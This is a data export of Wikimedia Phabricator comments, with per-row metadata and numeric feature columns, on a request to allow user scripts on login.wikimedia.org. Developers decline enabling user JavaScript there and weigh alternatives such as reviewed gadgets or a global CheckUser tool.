475810,Allow a script to work on login.wikimedia.org,What is the problem with allowing user css/js on loginwiki?,,,1434481651,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,3.8461538461538463,1.0,What is the problem with allowing user css/js on loginwiki?
475223,Allow a script to work on login.wikimedia.org,"I can say that I only use login.wmf for checkuser checks, and predominantly as a reverse check for checking whether users are going to be affected by a global block on webhost range.

I personally don't need tools on the site, though could understand those working on one screen may find it useful.

In terms of useful scripts
//tools-static.wmflabs.org/meta/scripts/pathoschild.stewardscript.js

",,,1434429791,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,4.0,0.0,5.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,3.0,5.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,4.5,0.8157894736842105,"I can say that I only use login.wmf for checkuser checks, and predominantly as a reverse check for checking whether users are going to be affected by a global block on webhost range.

I personally don't need tools on the site, though could understand those working on one screen may find it useful.

In terms of useful scripts
//tools-static.wmflabs.org/meta/scripts/pathoschild.stewardscript.js

"
475070,Allow a script to work on login.wikimedia.org,"Thank you for taking care of the mistake I made. Sorry for all the fuss.

Regarding the scripts, as I've told James, I was thinking basically on:

* [[https://meta.wikimedia.org/wiki/User:Hoo_man/useful_links.js|useful links]] from @hoo, and
* [[https://en.wikipedia.org/wiki/User:Lupin/popups.js|Lupin's popups]].

I don't know if those scripts would compromise the security of the wiki. Hoo's useful links would cover pretty much our needs IMHO, by having direct links to CentralAuth and Global IP block; which is what we mostly need. Maybe popups ain't needed after all.

I insist, if this is going to compromise the security of the project, then shut this ticket down and please accept my apologies.

Best regards.",,,1434405861,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,5.0,0.0,7.5,7.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,5.0,1.5,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,5.5,7.0,5.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,0.0,3.0,0.0,0.0,2.0,3.649896480331263,0.734472049689441,"Thank you for taking care of the mistake I made. Sorry for all the fuss.

Regarding the scripts, as I've told James, I was thinking basically on:

* [[URL links]] fromSCREEN_NAME, and
* [[URL popups]].

I don't know if those scripts would compromise the security of the wiki. Hoo's useful links would cover pretty much our needs IMHO, by having direct links to CentralAuth and Global IP block; which is what we mostly need. Maybe popups ain't needed after all.

I insist, if this is going to compromise the security of the project, then shut this ticket down and please accept my apologies.

Best regards."
475049,Allow a script to work on login.wikimedia.org,"Personally I think that the Gadgets option is the best one in the short term. Talking to Marco it looks like we could come up with a relatively small set of gadgets that would be useful. I think a global checkuser tool would also be useful but is a longer term project.

I have a tiny version of #4 I use within the team (pretty shitty, but not on labs on an internal system) so certainly possible but would prefer against it.",,,1434403744,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,1.0,12.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,9.0,1.0,3.0,10.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,8.0,13.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,5.0,0.0,1.0,1.0,1.0,0.0,3.802197802197802,0.7252747252747253,"Personally I think that the Gadgets option is the best one in the short term. Talking to Marco it looks like we could come up with a relatively small set of gadgets that would be useful. I think a global checkuser tool would also be useful but is a longer term project.

I have a tiny version of #4 I use within the team (pretty shitty, but not on labs on an internal system) so certainly possible but would prefer against it."
475048,Allow a script to work on login.wikimedia.org,"I think it would be wise to avoid inserting any sort of non-code-reviewed JavaScript onto loginwiki.

@csteipp Is #4 really OK at all? Isn't there some sort of restriction of storing private data on non-production? (Even if there isn't, I agree it's not a great idea.)",,,1434403556,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,5.0,0.0,0.0,0.0,5.0,11.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,11.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,6.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,6.0,12.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.53125,0.796875,"I think it would be wise to avoid inserting any sort of non-code-reviewed JavaScript onto loginwiki.
SCREEN_NAME Is #4 really OK at all? Isn't there some sort of restriction of storing private data on non-production? (Even if there isn't, I agree it's not a great idea.)"
474927,Allow a script to work on login.wikimedia.org,"> From a GlobalCssJs perspective, this is declined. We're not going to add any hacks or workarounds in the extension because user JS/CSS are all disabled on loginwiki. If Chris decides that setting $wgAllowUserJs = $wgAllowUserCss = true is ok, then GlobalCssJs will just work, but I doubt he will.

I would like to avoid that if possible.

The alternatives seem to be,
1) We add Ex:Gadgets, and have a small number of reviewed gadgets that stewards can turn on
2) We implement global CU
3) Add a feature to CU on meta to run CU on another wiki (i.e., loginwiki)
4) Setup something on tools to run the checks via OAuth

For #1, if we can come up with a list, I think we can (within a week or so) do the reviews and get those installed. Global CU has been blocked on sul finalization (too many issues with logging and identities). Now that it's pretty much done, might be time to draw up plans for it. That will be longer than a couple week project however. #3 might be slightly less work than global CU, while keeping loginwiki clean.

#4 I wouldn't be a huge fan of, but if someone has time, there's no technical reason it can't be setup by anyone right now.",,,1434394974,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,1.0,4.666666666666667,1.3333333333333333,0.0,0.0,1.0,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,4.666666666666667,11.666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,2.0,1.3333333333333333,0.0,3.6666666666666665,1.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,10.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,3.3333333333333335,3.0,7.333333333333333,2.6666666666666665,1.6666666666666667,5.0,0.0,0.0,0.0,1.3333333333333333,6.0,0.0,1.6666666666666667,0.0,3.6666666666666665,11.666666666666666,3.6666666666666665,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,1.0,0.0,1.3333333333333333,3.3714285714285714,0.7714285714285714,"QUOTE

I would like to avoid that if possible.

The alternatives seem to be,
1) We add Ex:Gadgets, and have a small number of reviewed gadgets that stewards can turn on
2) We implement global CU
3) Add a feature to CU on meta to run CU on another wiki (i.e., loginwiki)
4) Setup something on tools to run the checks via OAuth

For #1, if we can come up with a list, I think we can (within a week or so) do the reviews and get those installed. Global CU has been blocked on sul finalization (too many issues with logging and identities). Now that it's pretty much done, might be time to draw up plans for it. That will be longer than a couple week project however. #3 might be slightly less work than global CU, while keeping loginwiki clean.

#4 I wouldn't be a huge fan of, but if someone has time, there's no technical reason it can't be setup by anyone right now."
474913,Allow a script to work on login.wikimedia.org,"Okay, public now that the email address issue is taken care of.

From a GlobalCssJs perspective, this is declined. We're not going to add any hacks or workarounds in the extension because user JS/CSS are all disabled on loginwiki. If Chris decides that setting `$wgAllowUserJs = $wgAllowUserCss = true` is ok, then GlobalCssJs will just work, but I doubt he will.

I would recommend instead that you look into solutions like greasemonkey or scriptish which allow you to add custom JS from your browser. I can assist if you need help setting it up.",,,1434393887,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,0.0,1.0,0.5,2.5,1.5,0.5,0.0,1.5,1.5,0.5,0.0,0.0,0.0,3.5,0.0,4.0,11.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,7.5,1.5,1.0,1.5,4.0,0.0,0.0,1.5,2.5,0.0,1.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,1.0,0.0,1.5,2.5,10.0,4.0,2.5,4.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,9.0,11.0,4.0,0.0,0.0,0.0,9.0,0.0,1.0,0.5,0.0,2.0,0.0,0.0,0.0,4.027757619738752,0.8664731494920175,"Okay, public now that the email address issue is taken care of.

From a GlobalCssJs perspective, this is declined. We're not going to add any hacks or workarounds in the extension because user JS/CSS are all disabled on loginwiki. If Chris decides that setting CODE is ok, then GlobalCssJs will just work, but I doubt he will.

I would recommend instead that you look into solutions like greasemonkey or scriptish which allow you to add custom JS from your browser. I can assist if you need help setting it up."
474442,Allow a script to work on login.wikimedia.org,"So, can this task be made public now?",,,1434345265,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"So, can this task be made public now?"
474414,Allow a script to work on login.wikimedia.org,Ah thanks. That explains why I can't see it.,,,1434322287,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,25.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9166666666666666,Ah thanks. That explains why I can't see it.
474412,Allow a script to work on login.wikimedia.org,">>! In T102254#1364312, @Krenair wrote:
>>>! In T102254#1364296, @Jalexander wrote:
>> It's restricted to WMF-NDA at the moment (hence why you can see it)
> 
> I'd kind of prefer if it was just set to No One. I don't think any of us really need/want to see it, it can only cause confusion (given this is very unclear, you probably shouldn't expect it to actually be treated as private by other WMF-NDA members who aren't reading this)...

I agree, it's not my preference either, it was somehow easier to do it too a group for now but we're talking both filing something upstream as well. If hiding it to a group is the right move I wonder if just creating an empty one is the right move for the interim.",,,1434322229,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,1.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,12.0,9.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,4.0,12.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,9.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,6.0,1.0,0.0,0.0,3.5217391304347827,0.6811594202898551,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I agree, it's not my preference either, it was somehow easier to do it too a group for now but we're talking both filing something upstream as well. If hiding it to a group is the right move I wonder if just creating an empty one is the right move for the interim."
474411,Allow a script to work on login.wikimedia.org,">>! In T102254#1364296, @Jalexander wrote:
> It's restricted to WMF-NDA at the moment (hence why you can see it)

I'd kind of prefer if it was just set to No One. I don't think any of us really need/want to see it, it can only cause confusion (given this is very unclear, you probably shouldn't expect it to actually be treated as private by other WMF-NDA members who aren't reading this)...",,,1434321649,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,1.0,3.0,4.0,4.0,1.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,4.0,0.0,16.0,11.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,3.0,0.0,1.0,0.0,0.0,6.0,11.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.414285714285714,0.8285714285714286,"QUOTE
QUOTE

I'd kind of prefer if it was just set to No One. I don't think any of us really need/want to see it, it can only cause confusion (given this is very unclear, you probably shouldn't expect it to actually be treated as private by other WMF-NDA members who aren't reading this)..."
474407,Allow a script to work on login.wikimedia.org,">>! In T102254#1364264, @Krenair wrote:
>>>! In T102254#1364258, @Aklapper wrote:
>> (In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)
> 
> I can still see the email address here, is there some sort of policy for seeing them? Is this discussion in Phabricator somewhere?

It's restricted to WMF-NDA at the moment (hence why you can see it) currently the discussion is off phabricator. I imagine it will move here at some point.",,,1434319694,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,9.0,13.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.7555555555555555,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's restricted to WMF-NDA at the moment (hence why you can see it) currently the discussion is off phabricator. I imagine it will move here at some point."
474390,Allow a script to work on login.wikimedia.org,">>! In T102254#1364258, @Aklapper wrote:
> (In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)

I can still see the email address here, is there some sort of policy for seeing them? Is this discussion in Phabricator somewhere?",,,1434316789,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,3.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.033333333333333,0.9333333333333333,"QUOTE
QUOTE

I can still see the email address here, is there some sort of policy for seeing them? Is this discussion in Phabricator somewhere?"
474387,Allow a script to work on login.wikimedia.org,"(In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)",,,1434316171,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9583333333333334,"(In the mean time, Mukunda restricted visibility of email addresses in tasks. We're discussing how to move forward.)"
474386,Allow a script to work on login.wikimedia.org,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware/being able to remove the address.",,,1434316116,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,20.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,4.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,3.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,4.093333333333334,0.8133333333333334,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware/being able to remove the address."
474385,Allow a script to work on login.wikimedia.org,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware.",,,1434316072,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,21.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,4.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,21.0,3.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,4.102941176470588,0.8676470588235294,"The issue is that ""From Email"" field at the top of the object info, below Author and above Subscribers. There's some email address to which you can send in new tasks for creation in Phabricator... We should probably clarify or remove it from docs etc. if it's going to be publicly displaying people's addresses without them being aware."
474384,Allow a script to work on login.wikimedia.org,"Maybe I'm just blind, but where is this email? I don't see a public email address anywhere. @Jalexander, did you succeed in removing it?",,,1434315906,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,13.0,3.0,0.0,6.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6451612903225805,0.8709677419354839,"Maybe I'm just blind, but where is this email? I don't see a public email address anywhere.SCREEN_NAME, did you succeed in removing it?"
474185,Allow a script to work on login.wikimedia.org,">>! In T102254#1363118, @Jalexander wrote:
>>>! In T102254#1363114, @Krenair wrote:
>>>>! In T102254#1363098, @MarcoAurelio wrote:
>>> Last time I checked it was WMF who hired and paid their staff, not vice
>>> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
>>> we were provided better tools to counter vandalism and spam we would not be
>>> in need of using this workarounds to get the job done.
>> 
>> You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.
> 
> I'm trying to get the email address removed, but I see no reason to create a brand new ticket at this point. The security level may be inappropriate (would you feel better if it was marked as an ""other confidential issue"" instead of security?) but the request is completely valid.

The reason that this is private is that the requester did not mean to share their email address. The discussion itself should not be private, so the ticket is invalid. Opening up to WMF-NDA would not fix this issue.

The request itself seems valid, so I encourage you to create a new ticket to work out whether it is able to be resolved, or (possibly) declined.",,,1434226973,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,1.0,3.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,3.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,9.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,6.0,18.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,11.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,3.64,0.56,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The reason that this is private is that the requester did not mean to share their email address. The discussion itself should not be private, so the ticket is invalid. Opening up to WMF-NDA would not fix this issue.

The request itself seems valid, so I encourage you to create a new ticket to work out whether it is able to be resolved, or (possibly) declined."
474184,Allow a script to work on login.wikimedia.org,">>! In T102254#1363114, @Krenair wrote:
>>>! In T102254#1363098, @MarcoAurelio wrote:
>> Last time I checked it was WMF who hired and paid their staff, not vice
>> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
>> we were provided better tools to counter vandalism and spam we would not be
>> in need of using this workarounds to get the job done.
> 
> You've missed the point entirely. And this is still invalid, you need a separate task because this discussion does not need to be private, only the creator's email address.

I'm trying to get the email address removed, but I see no reason to create a brand new ticket at this point. The security level may be inappropriate (would you feel better if it was marked as an ""other confidential issue"" instead of security?) but the request is completely valid.",,,1434226644,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-tnuyibbkgzspv43mk744,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,1.0,1.0,0.0,8.0,3.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,9.0,1.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.7333333333333334,0.7333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm trying to get the email address removed, but I see no reason to create a brand new ticket at this point. The security level may be inappropriate (would you feel better if it was marked as an ""other confidential issue"" instead of security?) but the request is completely valid."
474182,Allow a script to work on login.wikimedia.org,">>! In T102254#1363098, @MarcoAurelio wrote:
> Last time I checked it was WMF who hired and paid their staff, not vice
> versa :-) Does it really matter that LCA is now called just CA? Perhaps is
> we were provided better tools to counter vandalism and spam we would not be
> in need of using this workarounds to get the job done.

